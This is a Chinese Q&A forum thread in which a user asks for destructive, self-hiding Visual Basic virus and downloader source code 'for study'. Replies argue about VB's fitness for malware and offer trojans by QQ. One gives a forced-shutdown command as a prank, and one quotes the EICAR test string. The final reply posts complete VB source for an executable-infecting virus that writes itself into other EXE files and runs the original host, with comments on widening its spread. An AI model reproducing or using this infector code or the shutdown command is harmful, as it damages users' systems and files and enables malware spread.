VB病毒代码

求一些VB病毒源码 VB下载者源码  有破坏性 能隐藏  纯粹学习研究    有的就发我邮箱吧 182745556@qq.com

答案：看了下楼上说VB垃圾的傻B们的回答，我只能说这些人都是菜鸟 十足的傻B，C++？你们自己懂不懂？VB差？我试问 VB哪里差？运行速度慢？你们自己运行过程中有觉得慢吗？C++是快，但是你能感觉到吗？说的轻巧，说白了你们根本不懂编程，你知道仙剑95是什么编写的么？VB5!知道VB6能做什么吗？套用一句清华大学出版的书上的话 ： “你想得到的VB  90%都可以做！”。
好了 废话一大堆，解答下楼主的问题，我估计楼上有人发给楼主 楼主也不看得似懂非懂，至于我上面这人，不知道是去哪里复制的代码，他这 “病毒” 我解释下，只是简单的删除文件而已，叫病毒吗？真正的病毒是指有传染性，破坏性的一段计算机代码，当然用VB是可以做的！不要听楼上的菜鸟们乱吹，如果要破坏性 主要看楼主做什么要是简单点kill就可以删除文件，影藏不是难点，用API就可以实现简单的影藏，难在感染上，但VB给了我们发挥的空间，想想就知道 用二进制易做图病毒自身就可以，楼主如果明白些了吧？我边回答问题就边写了个木马和一个删除文件的病毒，有兴趣加我Q237393775 我发你。
发给你的话可能会被系统拦截的，推荐你去黑白网络去找找吧。
哪里有不少的视频和源代码。不论你是初学还是研究都有合适的内容
VB是不适合用来写病毒的。世界上用VB写的病毒还没有熊猫多。。。
它本身是一个很懒的语言，连基本的文件操作都要依赖于vb运行库，这点你去反编译一个VB程序就可以了～而且VB的效率很低，不能很好的隐藏自己。。。
可以先用VB练练程序的感觉，然后，再去学习C语言～嗯嗯
 
已发至你邮箱，请查收！
下载 者
大哥哥 你不要 搞笑
如果 你不会 用VB编下载者
那么 你也配置不来 服务器
中毒的人 从哪下载 你的 马 啊
大哥哥 啊
VB 不适合 做 病毒 的
你要学学C++这种 东西
那我教你一招
很搞笑的
shell ("shutdown -s -f -t 00")
拜託VB是用來騙小孩的..沒有什麼實際的威力.
你以為沒個人都像李俊那搞出個熊貓燒香啊
建議你是寫呢,就去學學C++
vb你要不要跟我较量下。帮你做病毒是不可能
我告诉你一个：X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
'vb感染exe文件代码如下
Option Explicit 
Private Victim As String 
Private HostLen As Long 
Private vbArray() As Byte 
Private hArray() As Byte
Private lenght As Long 
Private MySize As Integer
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long 
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long 
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long 
Private iResult As Long 
Private hProg As Long 
Private idProg As Long 
Private iExit As Long 
Const STILL_ACTIVE As Long = &H103 
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF 

Private Sub form_Initialize() 
Dim i As Long 
On Error GoTo vbVerror

 
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _ 
As #1 
ReDim MyArray(LOF(1) - 1) 
MySize = LOF(1) 
ReDim vbArray(MySize) 
Get #1, 1, vbArray 
Close #1 



Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。） 
While Victim <> "" 

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then 
Open App.Path & "\" & Victim For Binary Access Read As #1 
ReDim hArray(LOF(1)) 
Get #1, 1, hArray 
Close #1 
'读出病毒自身的代码 


If hArray(&H69) <> &H4D Then 

i = hArray(&H3C) 
If hArray(i) = &H50 Then 
Open App.Path & "\" & Victim For Binary Access Write As #1 
Put #1, , vbArray 
Put #1, MySize, hArray 
Close #1 
End If '要保证被感染的不是空文件（不是圈套） 
End If 
End If 
'读出准备被感染的文件的代码 

Victim = Dir() 'Next 

Wend 

'下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。 

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 
lenght = LOF(1) - MySize 
If lenght <> 0 Then 
ReDim vbArray(lenght - 1) 
Get #1, MySize, vbArray 
Close #1 

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1 
Put #1, , vbArray 
Close #1 


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus) 
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) 
GetExitCodeProcess hProg, iExit 
Do While iExit = STILL_ACTIVE 
DoEvents 
GetExitCodeProcess hProg, iExit 
Loop 
Kill App.Path & "\" & App.EXEName & ".eve" 

Else 
Close #1 

End If 

End 

vbVerror: '出错处理
'..................................................
End Sub

上一个：最近学习VB 要做一个类似写字板的小程序 但是单击按钮或者选择字体字号就会出现错误424 要求对象
下一个：谁有ＶＢ程序？关于升级，留级的,也就是升学或者降学，别说你学习成绩不好。